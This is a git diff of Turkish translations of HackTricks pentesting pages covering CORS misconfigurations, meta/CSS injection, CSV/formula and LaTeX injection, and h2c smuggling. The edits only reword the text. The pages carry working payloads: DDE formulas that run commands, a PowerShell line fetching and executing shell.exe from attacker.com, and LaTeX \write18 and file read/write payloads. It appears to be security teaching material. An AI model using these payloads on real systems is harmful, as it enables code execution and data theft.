sertifikaları) iletecektir. ```javascript @@ -74,13 +74,13 @@ xhr.send('Arun'); ### Çapraz Alan İletişiminde Ön Uçuş İsteklerini Anlama -Belirli koşullar altında çapraz alan isteği başlatılırken, örneğin **standart olmayan bir HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz köken isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içerir. +Belirli koşullar altında çapraz alan isteği başlatılırken, örneğin **standart olmayan HTTP yöntemi** kullanılarak (HEAD, GET, POST dışında herhangi bir şey), yeni **başlıklar** tanıtılarak veya özel bir **Content-Type başlık değeri** kullanılarak, bir ön uçuş isteği gerekebilir. Bu ön hazırlık isteği, **`OPTIONS`** yöntemini kullanarak sunucuyu gelecek çapraz kökenli isteğin niyetleri hakkında bilgilendirir, kullanmayı planladığı HTTP yöntemlerini ve başlıkları içerir. -**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenilen çapraz köken işleminin uygunluğunu doğrulayarak izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini kontrol eder. Bir ön uçuş isteğinin gerekli olmadığı durumları ayrıntılı olarak anlamak için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun. +**Çapraz Köken Kaynak Paylaşımı (CORS)** protokolü, bu ön uçuş kontrolünü zorunlu kılar, istenen çapraz kökenli işlemin uygunluğunu belirleyerek izin verilen yöntemleri, başlıkları ve kökenin güvenilirliğini doğrular. Bir ön uçuş isteğinin gerekli olmadığı koşullar hakkında detaylı bilgi için [**Mozilla Developer Network (MDN)**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) tarafından sağlanan kapsamlı kılavuza başvurun. -**Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz köken isteğinden gelen yanıtı işleme yeteneğinden yoksun kalır. +**Ön uçuş isteğinin olmamasının, yanıtın yetkilendirme başlıklarını taşıma gerekliliğini ortadan kaldırmadığını** unutmamak önemlidir. Bu başlıklar olmadan tarayıcı, çapraz kökenli isteğin yanıtını işleme yeteneğinden yoksun kalır. -Aşağıdaki örneği göz önünde bulundurun, bu örnekte `PUT` yöntemini kullanarak ve `Special-Request-Header` adında özel bir başlık ekleyerek bir ön uçuş isteği yapılmaktadır: +Aşağıdaki örneği göz önünde bulundurun, bu örnek, `PUT` yöntemini kullanmayı ve `Special-Request-Header` adında özel bir başlık eklemeyi amaçlayan bir ön uçuş isteğini göstermektedir: ``` OPTIONS /info HTTP/1.1 Host: example2.com @@ -89,7 +89,7 @@ Origin: https://example.com Access-Control-Request-Method: POST Access-Control-Request-Headers: Authorization ``` -Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politika ayrıntılarını belirten başlıklar döndürebilir: +Sunucu, aşağıda gösterildiği gibi kabul edilen yöntemleri, izin verilen kaynağı ve diğer CORS politikası ayrıntılarını belirten başlıklar döndürebilir: ```markdown HTTP/1.1 204 No Content ... @@ -104,15 +104,15 @@ Access-Control-Max-Age: 240 * **`Access-Control-Max-Age`**: Bu başlık, bir ön uçuş isteğinin sonuçlarının ne kadar süreyle önbelleğe alınabileceğini belirtir. Sunucu, ön uçuş isteği tarafından döndürülen bilgilerin ne kadar süreyle yeniden kullanılabileceğini saniye cinsinden belirler. * **`Access-Control-Request-Headers`**: Ön uçuş isteklerinde kullanılan bu başlık, istemci tarafından gerçek istekte hangi HTTP başlıklarının kullanılacağını sunucuya bildirmek için ayarlanır. * **`Access-Control-Request-Method`**: Bu başlık da ön uçuş isteklerinde kullanılır ve istemci tarafından gerçek istekte hangi HTTP yönteminin kullanılacağını belirtmek için ayarlanır. -* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini gösterir. Sunucu, gelen isteğin CORS politikasına dayanarak izin verilip verilmeyeceğini değerlendirmek için bunu kullanır. +* **`Origin`**: Bu başlık tarayıcı tarafından otomatik olarak ayarlanır ve çapraz köken isteğinin kökenini gösterir. Sunucu, CORS politikasına dayanarak gelen isteğin izin verilip verilmeyeceğini değerlendirmek için bunu kullanır. -Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteğin **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesini erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\ +Genellikle (içerik türüne ve ayarlanan başlıklara bağlı olarak) **GET/POST isteğinde ön uçuş isteği gönderilmez** (isteği **doğrudan** gönderilir), ancak yanıtın **başlıklarını/gövdesine erişmek istiyorsanız**, buna izin veren bir _Access-Control-Allow-Origin_ başlığı içermelidir.\ **Bu nedenle, CORS CSRF'ye karşı koruma sağlamaz (ancak faydalı olabilir).** ### **Yerel Ağ İstekleri Ön Uçuş İsteği** 1. **`Access-Control-Request-Local-Network`**: Bu başlık, istemcinin isteğine dahil edilir ve sorgunun yerel ağ kaynağına yönelik olduğunu belirtir. Sunucuya, isteğin yerel ağdan geldiğini bildirmek için bir işaret olarak hizmet eder. -2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, güvenlik protokollerini korurken kontrollü erişimi sağlar. +2. **`Access-Control-Allow-Local-Network`**: Yanıt olarak, sunucular istenen kaynağın yerel ağ dışındaki varlıklarla paylaşılmasına izin verildiğini iletmek için bu başlığı kullanır. Farklı ağ sınırları arasında kaynakların paylaşılmasına yeşil ışık yakarak, kontrollü erişimi sağlarken güvenlik protokollerini korur. **Yerel ağ isteğine izin veren geçerli bir yanıtın**, ayrıca yanıtta `Access-Controls-Allow-Local_network: true` başlığını içermesi gerekir: ``` @@ -126,20 +126,20 @@ Content-Length: 0 ... ``` {% hint style="warning" %} -Linux **0.0.0.0** IP'si, bu gereksinimleri atlamak için **yerel** olarak kabul edilmeyen bir IP adresi olduğundan localhost'a erişmek için çalışır. +Linux'un **0.0.0.0** IP'sinin localhost'a erişmek için gereksinimleri **atlamak** için çalıştığını unutmayın, çünkü bu IP adresi "yerel" olarak kabul edilmez. -Ayrıca, **yerel ağ gereksinimlerini atlamak** mümkündür, eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, **genel IP** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır. +Ayrıca, **Yerel Ağ gereksinimlerini atlamak** mümkündür, eğer **yerel bir uç noktanın genel IP adresini** kullanıyorsanız (örneğin yönlendiricinin genel IP'si). Çünkü birkaç durumda, hatta **genel IP'ye** erişiliyorsa, eğer **yerel ağdan** erişiliyorsa, erişim sağlanacaktır. {% endhint %} ## Sömürülebilir yanlış yapılandırmalar -`Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının çoğu **gerçek saldırılar** için bir önkoşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının bir istek göndermesini sağlamak yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir. +`Access-Control-Allow-Credentials` ayarının **`true`** olarak ayarlanmasının çoğu **gerçek saldırılar** için bir önkoşul olduğu gözlemlenmiştir. Bu ayar, tarayıcının kimlik bilgilerini göndermesine ve yanıtı okumasına izin verir, saldırının etkinliğini artırır. Bu olmadan, tarayıcının isteği yapmasını sağlamak yerine kendiniz yapmanın faydası azalır, çünkü bir kullanıcının çerezlerini kullanmak olanaksız hale gelir. -### İstisna: Ağ Konumunun Kimlik Doğrulaması Olarak Sömürme +### İstisna: Ağ Konumunun Kimlik Doğrulaması Olarak Sömürülmesi -Kurbanın ağ konumunun kimlik doğrulaması olarak işlev gördüğü bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına izin verir, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS yeniden bağlama ile benzer etkilere sahip olmasına rağmen, daha basit bir şekilde sömürülebilir. +Kurbanın ağ konumunun kimlik doğrulaması olarak kullanılmasına izin veren bir istisna vardır. Bu, kurbanın tarayıcısının bir proxy olarak kullanılmasına olanak tanır, IP tabanlı kimlik doğrulamayı atlayarak iç ağ uygulamalarına erişimi sağlar. Bu yöntem, DNS rebinding ile benzer etkilere sahip olmasına rağmen, daha basit bir şekilde sömürülebilir. -### `Origin`'in `Access-Control-Allow-Origin`'de Yansıtılması +### `Access-Control-Allow-Origin` İçinde `Origin` Yansıtılması `Origin` başlığının değerinin `Access-Control-Allow-Origin` içinde yansıtıldığı gerçek dünya senaryosu, bu başlıkların birleştirilmesine yönelik kısıtlamalar nedeniyle teorik olarak olası değildir. Bununla birlikte, CORS'u birden fazla URL için etkinleştirmek isteyen geliştiriciler, `Access-Control-Allow-Origin` başlığını `Origin` başlığının değerini kopyalayarak dinamik olarak oluşturabilir. Bu yaklaşım, özellikle bir saldırganın geçerlilik mantığını aldatarak meşru görünmesi için tasarlanmış bir alan adı kullandığında, güvenlik açıklarına neden olabilir. ```html @@ -156,7 +156,7 @@ location='/log?key='+this.responseText; ``` ### `null` Origin'un Sömürülmesi -`null` kökeni, yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirlendiğinden, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, CORS kısıtlamalarını atlayarak bir `null` kökenini taklit etmesine izin verir. Bu, bir sandboxed iframe aracılığıyla gerçekleştirilir. +Yönlendirmeler veya yerel HTML dosyaları gibi durumlar için belirlenen `null` kökeni, benzersiz bir konuma sahiptir. Bazı uygulamalar, yerel geliştirmeyi kolaylaştırmak için bu kökeni beyaz listeye alır ve yanlışlıkla herhangi bir web sitesinin, bir kum havuzu içindeki iframe aracılığıyla `null` kökenini taklit etmesine izin vererek CORS kısıtlamalarını atlar. ```html ``` -Daha fazla bilgi için [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) adresini kontrol edin. +Daha fazla bilgi için [buraya](https://portswigger.net/research/bypassing-csp-with-dangling-iframes) bakabilirsiniz. ### \` veya bir yönlendirme gerçekleştirmek (bu durumda 5 saniye sonra): `` +**`meta http-equiv`** kullanarak bir Çerez ayarlamak gibi **çeşitli eylemler** gerçekleştirebilirsiniz: `` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `` -Bu, **http-equiv** ile ilgili bir **CSP** ile önlenebilir (`Content-Security-Policy: default-src 'self';` veya `Content-Security-Policy: http-equiv 'self';`) +Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenir** (`Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`) ### Yeni \ -AWS hacklemeyi sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin! +Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! -HackTricks'i desteklemenin diğer yolları: +HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **tanıtmak veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md b/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md index ce5f12cf8..8c3889f9e 100644 --- a/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md +++ b/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md @@ -1,14 +1,14 @@ -# Formül/CSV/Belge/LaTeX/GhostScript Enjeksiyonu +# Formül Enjeksiyonu
-AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +AWS hacklemeyi sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu +* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz * **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. @@ -16,7 +16,7 @@ HackTricks'ı desteklemenin diğer yolları: **Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -26,10 +26,10 @@ HackTricks'ı desteklemenin diğer yolları: ### Bilgi -Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosya **açıldığında** veya kullanıcı **Excel tablosu içindeki bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir. +Eğer **girdiniz** **CSV dosyaları** içinde **yansıtılıyorsa** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya içinde), Excel **formülleri** ekleyebilirsiniz ki bu formüller dosyayı **açan kullanıcı** dosyayı açtığında veya Excel tablosu içindeki **bir bağlantıya tıkladığında** **çalıştırılabilir** olabilir. {% hint style="danger" %} -Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için dışarıdan Excel'e yüklenen şeylerde **kullanıcıya birkaç kez uyarı verecektir**. Bu nedenle, son payload üzerinde **Sosyal Mühendislik** için özel çaba gösterilmelidir. +Günümüzde **Excel**, kullanıcının **kötü niyetli eylemlerden kaçınması** için, Excel dışından bir şey yüklendiğinde kullanıcıya (birkaç kez) **uyarıda bulunacaktır**. Bu nedenle, son yükte **Sosyal Mühendislik** için özel çaba gösterilmelidir. {% endhint %} ### [Kelime Listesi](https://github.com/payloadbox/csv-injection-payloads) @@ -43,17 +43,17 @@ DDE ("cmd";"/C calc";"!A0")A0 ``` ### Hyperlink -**Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve keyfi konumlara istekler yapmak için çok kullanışlıdır. Ancak, kullanıcının bağlantıya tıklamasını (ve uyarıları kabul etmesini) gerektirir.** +**Aşağıdaki örnek, nihai excel tablosundan içerik sızdırmak ve istenmeyen konumlara istekler yapmak için çok yararlıdır. Ancak, kullanıcının bağlantıya tıklaması ve uyarıları kabul etmesi gerekmektedir.** Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır. -Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın asıl amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir: +Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enjeksiyon saldırısı aracılığıyla sömürülmüştür. Saldırganın temel amacı, öğretmenlerin öğrenci detaylarını yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın kötü niyetli bir yükü uygulamaya enjekte etmesini içerir, özellikle öğrenci detayları için ayrılmış alanlara zararlı formüller girmek suretiyle. Saldırı şu şekilde gerçekleşir: 1. **Kötü Niyetli Yükün Enjeksiyonu:** -* Saldırgan bir öğrenci detay formu gönderir ancak elektronik tablolarda yaygın olarak kullanılan bir formülü (örneğin, `=HYPERLINK("","Buraya tıklayın")`) dahil eder. -* Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırganın kontrol ettiği kötü niyetli bir sunucuya işaret eder. +* Saldırgan bir öğrenci detay formu gönderir ancak bir elektronik tablolarda yaygın olarak kullanılan bir formülü içerir (örneğin, `=HYPERLINK("","Buraya tıklayın")`). +* Bu formül, bir bağlantı oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder. 2. **Tehdit Edilen Verilerin Dışa Aktarılması:** -* Kompromis farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. +* Kompromisin farkında olmayan öğretmenler, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. * Açıldığında CSV dosyası hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir bağlantı olarak görünür. 3. **Saldırının Tetiklenmesi:** * Bir öğretmen, bağlantıya tıklayarak, bunun öğrenci detaylarının meşru bir parçası olduğuna inanır. @@ -68,13 +68,13 @@ Bir Öğrenci Kayıt Yönetim sistemindeki bir güvenlik açığı, bir CSV enje Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değişimi (DDE) adı verilen bir özellik, keyfi komutların yürütülmesi için sömürülebilir. Bunun için aşağıdaki ayarların etkinleştirilmiş olması gerekir: -* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Dış İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin. +* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve **Dinamik Veri Değişimi Sunucusu Başlatma**'yı etkinleştirin. -Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesini başlatmak için yük şu şekilde olacaktır: +Kötü niyetli yükü içeren bir elektronik tablo açıldığında (ve kullanıcı uyarıları kabul ederse), yük yürütülür. Örneğin, hesap makinesi uygulamasını başlatmak için yük şu şekilde olacaktır: ```markdown `=cmd|' /C calc'!xxx` ``` -Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosya indirilip yürütülebilir: +Ek komutlar da yürütülebilir, örneğin PowerShell kullanarak bir dosyanın indirilip yürütülmesi: ```bash =cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1 ``` @@ -101,13 +101,13 @@ Google Sheets, OOB veri dışa aktarma için sömürülebilecek fonksiyonlar sun ## LaTeX Enjeksiyonu Genellikle **LaTeX kodunu PDF'ye dönüştüren internet sunucuları** genellikle **`pdflatex`** kullanır.\ -Bu program, komut yürütme için 3 ana özelliği kullanır: +Bu program, komut yürütmesini (devre dışı bırakma) / izin verme için 3 ana özelliği kullanır: -* **`--no-shell-escape`**: `\write18{command}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile. +* **`--no-shell-escape`**: `\write18{komut}` yapısını devre dışı bırakır, hatta texmf.cnf dosyasında etkinleştirilmiş olsa bile. * **`--shell-restricted`**: `--shell-escape` ile aynıdır, ancak önceden tanımlanmış bir 'güvenli' set komutlarla **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). -* **`--shell-escape`**: `\write18{command}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır. +* **`--shell-escape`**: `\write18{komut}` yapısını etkinleştirir. Komut herhangi bir kabuk komutu olabilir. Bu yapı genellikle güvenlik nedenleriyle yasaklanmıştır. -Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle RCE'yi önlemek için `--shell-restricted` kullanmak çok önemlidir. +Ancak, komutları yürütmek için başka yollar da vardır, bu nedenle Uzak Kod Yürütme'yi önlemek için `--shell-restricted` kullanmak çok önemlidir. ### Dosya Okuma @@ -137,7 +137,7 @@ Enjeksiyonu \[ veya $ gibi sarmalayıcılarla ayarlamak gerekebilir. \repeat \closein\file ``` -### Dosya yazma +### Dosya yaz ```bash \newwrite\outfile \openout\outfile=cmd.tex @@ -169,7 +169,7 @@ Komutun girdisi stdin'e yönlendirilecek, bunu almak için geçici bir dosya kul ## Get the value of shell_escape_commands without needing to read pdfetex.ini \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} ``` -Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünün. +Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan elde etmek için base64 kullanmayı düşünebilirsiniz. ```bash \immediate\write18{env | base64 > test.tex} \input{text.tex} @@ -199,7 +199,7 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -209,10 +209,10 @@ Eğer herhangi bir LaTex hatası alırsanız, sonucu kötü karakterler olmadan HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* Özel [**NFT'lerimizden oluşan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* Hacking püf noktalarınızı paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/pentesting-web/h2c-smuggling.md b/pentesting-web/h2c-smuggling.md index 2d7d3f5ad..1e757bdd3 100644 --- a/pentesting-web/h2c-smuggling.md +++ b/pentesting-web/h2c-smuggling.md @@ -1,4 +1,4 @@ -# Yükseltme Başlığı Kaçakçılığı +# Yükseltme Başlığı Kaçırma
@@ -6,108 +6,63 @@ HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'u takip edin. * **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -### H2C Kaçakçılığı +### H2C Kaçırma #### Açık Metin Üzerinden HTTP2 (H2C) -H2C veya **açık metin üzerinden http2**, standart bir HTTP **bağlantısını kalıcı bir bağlantıya yükselterek** geçici HTTP bağlantılarının normundan sapar. Bu yükseltilmiş bağlantı, düz metin HTTP'nin tek istek doğasına karşı devam eden iletişim için http2 ikili protokolünü kullanır. +H2C veya **açık metin üzerinden http2**, geçici HTTP bağlantılarının normundan saparak standart bir HTTP bağlantısını **sürekli bir bağlantıya yükseltir**. Bu yükseltilmiş bağlantı, düz metin HTTP'nin tek istek doğasına karşı, sürekli iletişim için http2 ikili protokolünü kullanır. -Kaçakçılık sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Genellikle, ters proxy HTTP isteklerini işler ve arka uca ileterek, ardından arka uç yanıtını döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında kalıcı bir bağlantı** sürdürür, belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir: +Kaçırma sorununun özü, bir **ters proxy**'nin kullanımıyla ortaya çıkar. Normalde, ters proxy HTTP isteklerini işler ve arka uca ileterek ardından arka uç yanıtını döndürür. Ancak, bir HTTP isteğinde `Connection: Upgrade` başlığı bulunduğunda (genellikle websocket bağlantılarıyla görülür), ters **proxy istemci ve sunucu arasında sürekli bir bağlantıyı sürdürür**, belirli protokollerin gerektirdiği sürekli değişimi kolaylaştırır. H2C bağlantıları için, RFC'ye uyum, üç belirli başlığın varlığını gerektirir: ``` Upgrade: h2c HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA Connection: Upgrade, HTTP2-Settings ``` -#### H2C Smuggling Sömürüsü +### Zafiyetli Proxy'ler -Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin, yönlendirmenin tamamlanmasından sonra bireysel istekleri yönetmeyi bırakması durumunda ortaya çıkar. H2C Smuggling'i sömürmek, başarılı bir H2C bağlantısı başlatıldığında, istek işleme sırasında uygulanan ters vekil kurallarını atlamayı sağlar; örneğin, yol tabanlı yönlendirme, kimlik doğrulama ve WAF işleme. +Zafiyet, bir bağlantıyı yükselttikten sonra ters vekilin bireysel istekleri yönetmeyi bırakması ve yönlendirmenin bağlantı kurulduktan sonra tamamlandığını varsayması durumunda ortaya çıkar. H2C Smuggling'in sömürülmesi, başarılı bir H2C bağlantısı 